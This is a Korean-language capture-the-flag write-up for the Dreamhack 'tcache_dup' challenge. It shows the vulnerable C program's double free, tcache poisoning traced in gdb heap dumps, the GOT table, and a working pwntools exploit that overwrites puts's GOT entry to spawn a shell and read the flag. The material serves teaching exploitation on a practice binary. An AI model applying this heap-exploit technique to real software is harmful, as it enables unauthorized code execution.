[Dreamhack] tcache_dup Write up

[Dreamhack] tcache_dup Write up

·

4 min read

// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if (cnt > 10) {
        return -1;
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if (!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if (idx > 10) {
        return -1;
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while (1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}

코드부터 요약해보겠습니다.

main 함수에 메뉴가 2개 있습니다. 1은 create 함수 실행 뒤 cnt 변수에 1을 더하고, 2는 delete 함수 실행입니다

create 함수는 size를 입력 받고, ptr에 할당된 주소를 return 받은 뒤 data를 입력 받아 저장합니다. cnt 변수로 횟수를 제한하고 있으며, 총 10번의 할당이 가능합니다.

delete 함수는 idx를 입력 받아 해당 청크를 free 합니다.

마지막으로는 get_shell 함수가 있습니다.

보호 기법은 카나리와 Nx만 켜져 있기 때문에 Got overwrite으로 get_shell 함수를 실행시키겠습니다.
tcache poisoning부터 테스트 해보겠습니다.

할당 -> free -> free 이렇게 tcache 영역을 세팅해두고, 다시 할당받을때 원하는 주소(got)를 넣으면 이후 두번째 할당 받을때 입력한 주소에 데이터가 들어갑니다.

gdb로 한번 해보겠습니다.

# 할당
1. Create
2. Delete
> 1
Size: 16
Data: aaaaaaaaa # a * 9
gef➤  x/40gx 0x602000
0x602000:       0x0000000000000000      0x0000000000000291
0x602010:       0x0000000000000000      0x0000000000000000
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
0x602050:       0x0000000000602260      0x0000000000000000
...
gef➤  x/40gx 0x602250
0x602250:       0x0000000000000000      0x0000000000000021
0x602260:       0x6161616161616161      0x0000000000000a61
0x602270:       0x0000000000000000      0x0000000000020d51

# free
1. Create 
2. Delete 
> 2
idx: 0
gef➤  x/40gx 0x602000
0x602000:       0x0000000000000000      0x0000000000000291
0x602010:       0x0000000000000000      0x0000000000000000
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
0x602050:       0x0000000000602260      0x0000000000000000
...
0x602250:       0x0000000000000000      0x0000000000000021
0x602260:       0x0000000000000000      0x0000000000000a61
0x602270:       0x0000000000000000      0x0000000000020d91

# free
1. Create 
2. Delete 
> 2
idx: 0
gef➤  x/40gx 0x602000
0x602000:       0x0000000000000000      0x0000000000000251
0x602010:       0x0000000000000002      0x0000000000000000
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
0x602050:       0x0000000000602260      0x0000000000000000
...
0x602250:       0x0000000000000000      0x0000000000000021
0x602260:       0x0000000000602260      0x0000000000000a61
0x602270:       0x0000000000000000      0x0000000000020d91

다시 할당을 받고 원하는 주소를 입력합니다.

1. Create 
2. Delete 
> 1
Size: 16
Data: address
gef➤  x/40gx 0x602000
0x602000:       0x0000000000000000      0x0000000000000251
0x602010:       0x0000000000000001      0x0000000000000000
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
0x602050:       0x0000000000602260      0x0000000000000000
...
gef➤  x/40gx 0x602250
0x602250:       0x0000000000000000      0x0000000000000021
0x602260:       0x0a73736572646461      0x0000000000000a61
0x602270:       0x0000000000000000      0x0000000000020d91

여기서 이제 다시 할당을 받으면 입력한 값이 tcache에 들어가게 됩니다.

1. Create
2. Delete
> 1
Size: 16
Data: a
gef➤  x/40gx 0x602000
0x602000:       0x0000000000000000      0x0000000000000251
0x602010:       0x0000000000000000      0x0000000000000000
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
0x602050:       0x0a73736572646461      0x0000000000000000

이렇게 tcache poisoning이 가능한 것을 확인했습니다.
got 리스트는 아래와 같습니다.

gef➤  got

GOT protection: Partial RelRO | GOT functions: 13

[0x601018] free@GLIBC_2.2.5  →  0x7ffff7a7b950
[0x601020] puts@GLIBC_2.2.5  →  0x7ffff7a649c0
[0x601028] __stack_chk_fail@GLIBC_2.4  →  0x400756
[0x601030] system@GLIBC_2.2.5  →  0x400766
[0x601038] printf@GLIBC_2.2.5  →  0x7ffff7a48e80
[0x601040] alarm@GLIBC_2.2.5  →  0x7ffff7ac8840
[0x601048] read@GLIBC_2.2.5  →  0x7ffff7af4070
[0x601050] __libc_start_main@GLIBC_2.2.5  →  0x7ffff7a05ab0
[0x601058] signal@GLIBC_2.2.5  →  0x7ffff7a22da0
[0x601060] malloc@GLIBC_2.2.5  →  0x7ffff7a7b070
[0x601068] setvbuf@GLIBC_2.2.5  →  0x7ffff7a652f0
[0x601070] __isoc99_scanf@GLIBC_2.7  →  0x7ffff7a5fec0
[0x601078] exit@GLIBC_2.2.5  →  0x4007f6

그리고 main 함수에서 메뉴를 출력해주는 함수로 puts 함수를 사용하니 puts 함수 got에 get_shell 함수 주소를 넣겠습니다.

gef➤  disas main
Dump of assembler code for function main:
   0x0000000000400ac1 <+0>:     push   %rbp
   0x0000000000400ac2 <+1>:     mov    %rsp,%rbp
   0x0000000000400ac5 <+4>:     sub    $0x10,%rsp
   0x0000000000400ac9 <+8>:     mov    %fs:0x28,%rax
   0x0000000000400ad2 <+17>:    mov    %rax,-0x8(%rbp)
   0x0000000000400ad6 <+21>:    xor    %eax,%eax
   0x0000000000400ad8 <+23>:    movl   $0x0,-0xc(%rbp)
   0x0000000000400adf <+30>:    mov    $0x0,%eax
   0x0000000000400ae4 <+35>:    call   0x400914 <initialize>
   0x0000000000400ae9 <+40>:    mov    $0x400bf3,%edi
   0x0000000000400aee <+45>:    call   0x400740 <puts@plt>
   0x0000000000400af3 <+50>:    mov    $0x400bfd,%edi
   0x0000000000400af8 <+55>:    call   0x400740 <puts@plt>
   0x0000000000400afd <+60>:    mov    $0x400c07,%edi
   0x0000000000400b02 <+65>:    mov    $0x0,%eax
   0x0000000000400b07 <+70>:    call   0x400770 <printf@plt>
   0x0000000000400b0c <+75>:    lea    -0x10(%rbp),%rax
   0x0000000000400b10 <+79>:    mov    %rax,%rsi
   0x0000000000400b13 <+82>:    mov    $0x400bdb,%edi
   0x0000000000400b18 <+87>:    mov    $0x0,%eax
   0x0000000000400b1d <+92>:    call   0x4007e0 <__isoc99_scanf@plt>
   0x0000000000400b22 <+97>:    mov    -0x10(%rbp),%eax
   0x0000000000400b25 <+100>:   cmp    $0x1,%eax
   0x0000000000400b28 <+103>:   je     0x400b31 <main+112>
   0x0000000000400b2a <+105>:   cmp    $0x2,%eax
   0x0000000000400b2d <+108>:   je     0x400b41 <main+128>
   0x0000000000400b2f <+110>:   jmp    0x400b4c <main+139>
   0x0000000000400b31 <+112>:   mov    -0xc(%rbp),%eax
   0x0000000000400b34 <+115>:   mov    %eax,%edi
   0x0000000000400b36 <+117>:   call   0x400970 <create>
   0x0000000000400b3b <+122>:   addl   $0x1,-0xc(%rbp)
   0x0000000000400b3f <+126>:   jmp    0x400b4c <main+139>
   0x0000000000400b41 <+128>:   mov    $0x0,%eax
   0x0000000000400b46 <+133>:   call   0x400a3a <delete>
   0x0000000000400b4b <+138>:   nop
   0x0000000000400b4c <+139>:   jmp    0x400ae9 <main+40>
End of assembler dump.

익스플로잇 코드를 작성해보면 아래와 같습니다.

from pwn import *

#p = process('./tcache_dup')
p = remote('host3.dreamhack.games', 13855)
e = ELF('./tcache_dup')

def Create(size, data):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b'Size: ', size)
    p.sendafter(b'Data: ', data)

def Delete(idx):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b'idx: ', idx)

Create(b'16', b'a')
Delete(b'0')
Delete(b'0')

Create(b'16', p64(e.got['puts']))
Create(b'16', b'a')
Create(b'16', p64(e.symbols['get_shell']))

p.interactive()
❯ py ex.py
[+] Starting local process './tcache_dup': pid 1842
[*] '/tcache_dup'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
[*] Switching to interactive mode
$ cat flag
DH{**flag**}